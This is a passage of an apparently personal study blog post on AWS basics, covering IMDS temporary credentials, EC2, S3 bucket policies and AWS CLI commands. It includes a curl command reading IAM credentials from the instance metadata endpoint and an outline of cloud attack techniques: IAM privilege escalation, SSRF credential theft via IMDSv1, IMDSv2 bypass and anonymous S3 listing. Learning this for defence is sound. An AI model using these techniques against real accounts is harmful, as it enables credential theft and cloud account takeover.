data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://169.254.169.254/latest/meta-data/iam/security-credentials/&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This returns temporary credentials. If you assign the role to EC2, however, you must be logged in to that EC2 instance to access this URL. The address is a special IP, 169.254.169.254, visible only to the current EC2 instance and inaccessible externally. IMDS automatically identifies the EC2 instance and returns temporary credentials for the IAM role currently attached to it.&lt;/p&gt;&#10;&lt;p&gt;This is both safe and convenient. If you access a service with an APIKEY as described above, that key is long-lived. Once stolen, an attacker can keep using it for a long time. These temporary credentials usually survive for only an hour, so even if someone obtains them, they will soon be unable to sign in or maintain persistent control.&lt;/p&gt;&#10;&lt;h3 id="advanced-iam-penetration-testing-paused"&gt;&lt;a href="#advanced-iam-penetration-testing-paused" class="header-anchor"&gt;&lt;/a&gt;Advanced IAM Penetration Testing (Paused)&#10;&lt;/h3&gt;&lt;p&gt;That covers the basic concepts. The penetration-testing topics below are still blank because I have not started studying them yet, but I am leaving the outline here.&lt;/p&gt;&#10;&lt;p&gt;1️⃣ Identifying IAM account information&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Use &lt;code&gt;aws sts get-caller-identity&lt;/code&gt; to retrieve information about the current IAM account&lt;/li&gt;&#10;&lt;li&gt;Use &lt;code&gt;aws iam list-users&lt;/code&gt; and &lt;code&gt;aws iam list-roles&lt;/code&gt; to identify users and roles in the account&lt;/li&gt;&#10;&lt;li&gt;Determine AWS account ownership from an IAM ARN&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;2️⃣ IAM privilege escalation (Privilege Escalation)&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Use &lt;code&gt;iam:AttachUserPolicy&lt;/code&gt; to attach administrator privileges (&lt;code&gt;AdministratorAccess&lt;/code&gt;)&lt;/li&gt;&#10;&lt;li&gt;Use &lt;code&gt;sts:AssumeRole&lt;/code&gt; to switch to a more privileged role&lt;/li&gt;&#10;&lt;li&gt;Use &lt;code&gt;iam:CreateAccessKey&lt;/code&gt; to create a new API Key for accessing AWS&lt;/li&gt;&#10;&lt;li&gt;Use &lt;code&gt;iam:PassRole&lt;/code&gt; + &lt;code&gt;ec2:RunInstances&lt;/code&gt; to attach a highly privileged role through EC2&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;3️⃣ Abusing IAM roles&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Use &lt;code&gt;aws sts assume-role&lt;/code&gt; to obtain temporary permissions&lt;/li&gt;&#10;&lt;li&gt;Read the IAM role of an EC2 instance (&lt;code&gt;169.254.169.254/latest/meta-data/iam/security-credentials/&lt;/code&gt;)&lt;/li&gt;&#10;&lt;li&gt;Read IAM role credentials through SSRF (IMDS v1 vulnerability)&lt;/li&gt;&#10;&lt;li&gt;IMDS v2 protections and bypass techniques&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;4️⃣ Analyzing IAM access policies&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Parse policy content returned by &lt;code&gt;aws iam list-policies&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;Interpret IAM policies in JSON format&lt;/li&gt;&#10;&lt;li&gt;Use &lt;code&gt;aws iam get-policy-version&lt;/code&gt; to view policy version history&lt;/li&gt;&#10;&lt;li&gt;Find overly privileged IAM roles (Overly Permissive Policies)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;5️⃣ IAM role abuse&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Use &lt;code&gt;aws iam list-attached-role-policies&lt;/code&gt; to inspect policies attached to an IAM role&lt;/li&gt;&#10;&lt;li&gt;Use &lt;code&gt;sts assume-role&lt;/code&gt; to obtain cross-account access&lt;/li&gt;&#10;&lt;li&gt;Find misconfigured external identity providers (OIDC/SAML)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;6️⃣ Accessing AWS resources with an IAM account&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Use &lt;code&gt;aws s3 ls&lt;/code&gt; to enumerate an IAM account&amp;rsquo;s access to S3&lt;/li&gt;&#10;&lt;li&gt;Use &lt;code&gt;aws ec2 describe-instances&lt;/code&gt; to check access to EC2 resources&lt;/li&gt;&#10;&lt;li&gt;Use &lt;code&gt;aws lambda list-functions&lt;/code&gt; to view the IAM roles attached to Lambda functions&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;7️⃣ IAM account data exposure&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Public S3 buckets (&lt;code&gt;aws s3 ls s3://target-bucket --no-sign-request&lt;/code&gt;)&lt;/li&gt;&#10;&lt;li&gt;Exposed CloudFormation/Terraform configuration files&lt;/li&gt;&#10;&lt;li&gt;Use &lt;code&gt;aws iam get-account-authorization-details&lt;/code&gt; to retrieve detailed IAM account permissions&lt;/li&gt;&#10;&lt;li&gt;Use &lt;code&gt;aws iam list-access-keys&lt;/code&gt; to check for exposed AWS API Keys&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;8️⃣ Defense and detection&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Monitor AWS CloudTrail logs to detect IAM account abuse&lt;/li&gt;&#10;&lt;li&gt;Use AWS GuardDuty to monitor unusual IAM activity&lt;/li&gt;&#10;&lt;li&gt;Restrict the scope of &lt;code&gt;sts:AssumeRole&lt;/code&gt; access for IAM roles&lt;/li&gt;&#10;&lt;li&gt;Enable IAM Access Analyzer&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2 id="ec2"&gt;&lt;a href="#ec2" class="header-anchor"&gt;&lt;/a&gt;EC2&#10;&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;You can think of EC2 as a “virtual machine in the cloud” provided by AWS.&lt;/strong&gt; Its main concepts include:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Instance&lt;/strong&gt;: A cloud server that can be started, stopped, and restarted.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;AMI (Amazon Machine Image)&lt;/strong&gt;: An operating system image for EC2, such as Ubuntu, Amazon Linux, or Windows Server.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Instance Type&lt;/strong&gt;: Determines the CPU, memory, and bandwidth, such as the free &lt;code&gt;t2.micro&lt;/code&gt;.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;EBS (Elastic Block Store)&lt;/strong&gt;: EC2 disk storage—the cloud equivalent of a hard drive.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Security Group&lt;/strong&gt;: EC2 firewall rules that control which IPs are allowed to connect.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Public IP &amp;amp; Private IP&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Public IP: An IP that can be accessed directly from the internet.&lt;/li&gt;&#10;&lt;li&gt;Private IP: An IP that can only be accessed inside a VPC (the AWS internal network).&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;Create an instance by searching for EC2 and opening the instance creation page, then use the configuration shown below. On the free tier, an instance is free if total use stays under 750 hours per month. Since 750 hours is a little over 31 days, you might wonder why they do not simply call it free. EC2 lets you create multiple instances, though: if you create two, each can only run for 375 hours. I use the configuration below. (Amazon Linux is widely used outside China and integrates conveniently with AWS, so I create that here. It is also a chance to learn how Amazon Linux differs from ordinary Linux distributions.)&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0009.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0010.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0011.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0012.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That is enough. Connect over SSH and try it out—the main goal is simply to understand what EC2 is.&lt;/p&gt;&#10;&lt;p&gt;There is also the Security Group, which is very similar to what you see with Alibaba Cloud and other Chinese cloud providers. Those providers enable this firewall automatically, so even after opening a port on the machine itself, you still have to open it in the Alibaba Cloud console. It is basically a firewall.&lt;/p&gt;&#10;&lt;p&gt;Next is EBS. I think of it in terms of a VMware virtual machine: when a virtual machine needs more storage, you can attach another virtual disk. The disk itself is virtualized and does not disappear. It is like plugging in another hard drive that can store data independently—essentially a convenient standalone cloud disk.&lt;/p&gt;&#10;&lt;p&gt;That may be the whole idea behind cloud services. EFS, meanwhile, is a disk shared over NFS. I do wonder whether communication might lag, but it still sounds pretty useful.&lt;/p&gt;&#10;&lt;h2 id="s3"&gt;&lt;a href="#s3" class="header-anchor"&gt;&lt;/a&gt;S3&#10;&lt;/h2&gt;&lt;p&gt;S3 is object storage, not a traditional file system.&lt;/p&gt;&#10;&lt;p&gt;Alibaba Cloud OSS provides plenty of familiar real-world examples. When you upload a file, for instance, it is often uploaded to an OSS service and read back from there. No matter how you upload it, the file never reaches the local server; it goes to another cloud service instead. To me, S3 does not seem very different from OSS.&lt;/p&gt;&#10;&lt;h3 id="differences-between-s3-and-oss"&gt;&lt;a href="#differences-between-s3-and-oss" class="header-anchor"&gt;&lt;/a&gt;Differences Between S3 and OSS&#10;&lt;/h3&gt;&lt;table&gt;&#10;&#9;&lt;thead&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;strong&gt;Feature&lt;/strong&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;strong&gt;AWS S3&lt;/strong&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;strong&gt;Alibaba Cloud OSS&lt;/strong&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/thead&gt;&#10;&#9;&lt;tbody&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Bucket name&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Globally unique&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Unique within a region&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Region restrictions&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;You must choose an AWS region, such as us-east-1&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;You must choose an Alibaba Cloud region, such as cn-hangzhou&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Storage classes&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Standard, Infrequent Access (IA), Glacier&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Standard, Infrequent Access, Archive, Cold Archive&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;API compatibility&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;S3 API&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Partially compatible with the S3 API, with additional proprietary Alibaba Cloud APIs&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Default access&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Private by default; must be changed manually&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Private by default; must be changed manually&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Cross-region replication&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Supports replication across AWS regions&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;strong&gt;Supports replication across Alibaba Cloud regions&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;p&gt;Buckets are private by default, so you can store backups and other material without other people seeing it. To start working with S3, we need to learn how to create a bucket and try operating it through a URL and AWSCLI.&lt;/p&gt;&#10;&lt;h3 id="creating-an-s3-bucket"&gt;&lt;a href="#creating-an-s3-bucket" class="header-anchor"&gt;&lt;/a&gt;Creating an S3 Bucket&#10;&lt;/h3&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0013.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Use the following configuration.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0014.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0015.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0016.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After creating the bucket, find it and upload any file.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0017.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then enter the following policy under Bucket policy:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Version&amp;#34;: &amp;#34;2012-10-17&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Statement&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Effect&amp;#34;: &amp;#34;Allow&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Principal&amp;#34;: &amp;#34;*&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Action&amp;#34;: &amp;#34;s3:GetObject&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Resource&amp;#34;: &amp;#34;arn:aws:s3:::mentalityxttest/*&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;By default, only the current user can access uploaded resources. For learning purposes, however, it is easier to make everything public. After allowing the bucket policy to control access, we still need to add a rule permitting external access to the bucket. At that point, the image becomes accessible.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0018.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h3 id="aws-cli"&gt;&lt;a href="#aws-cli" class="header-anchor"&gt;&lt;/a&gt;AWS CLI&#10;&lt;/h3&gt;&lt;h4 id="first-check-whether-aws-cli-is-installed"&gt;&lt;a href="#first-check-whether-aws-cli-is-installed" class="header-anchor"&gt;&lt;/a&gt;First, Check Whether AWS CLI Is Installed&#10;&lt;/h4&gt;&lt;p&gt;Run:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws --version&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;If it is not installed, see the official documentation:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Linux/macOS&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl &amp;#34;https://awscli.amazonaws.com/AWSCLIV2.pkg&amp;#34; -o &amp;#34;AWSCLIV2.pkg&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo installer -pkg AWSCLIV2.pkg -target /&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Windows&lt;/strong&gt;: Download AWS CLI&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h4 id="configuring-aws-cli-linking-your-aws-account"&gt;&lt;a href="#configuring-aws-cli-linking-your-aws-account" class="header-anchor"&gt;&lt;/a&gt;Configuring AWS CLI (Linking Your AWS Account)&#10;&lt;/h4&gt;&lt;p&gt;You need to configure an &lt;strong&gt;Access Key and Secret Key&lt;/strong&gt;, which can be created in IAM, and then run:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws configure&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Enter the following when prompted:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;AWS Access Key ID&lt;/strong&gt;: Your AWS access key&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;AWS Secret Access Key&lt;/strong&gt;: Your AWS secret key&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Default region name&lt;/strong&gt;: &lt;code&gt;ap-southeast-1&lt;/code&gt; (the region you selected)&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Default output format&lt;/strong&gt;: &lt;code&gt;json&lt;/code&gt; (JSON is the default and recommended format)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0019.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The region is shown on the home page. Both keys are under the user&amp;rsquo;s access keys.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0020.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h4 id="common-s3-cli-operations"&gt;&lt;a href="#common-s3-cli-operations" class="header-anchor"&gt;&lt;/a&gt;Common S3 CLI Operations&#10;&lt;/h4&gt;&lt;p&gt;These are common S3 commands. Together with the bucket permissions above, you can test them directly in a terminal.&lt;/p&gt;&#10;&lt;p&gt;Create an S3 bucket:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 mb s3://your-bucket-name&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;code&gt;mb&lt;/code&gt; = make bucket&lt;/p&gt;&#10;&lt;p&gt;List buckets:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 ls&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Upload a file to S3:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 cp localfile.jpg s3://your-bucket-name/&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;code&gt;cp&lt;/code&gt; = copy&lt;/p&gt;&#10;&lt;p&gt;To upload an entire folder recursively:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 cp ./my-folder s3://your-bucket-name/ --recursive&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Download a file from S3:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 cp s3://your-bucket-name/3.jpg ./localfile.jpg&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;List files in a bucket:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 ls s3://your-bucket-name/&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Delete a file from an S3 bucket:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws s3 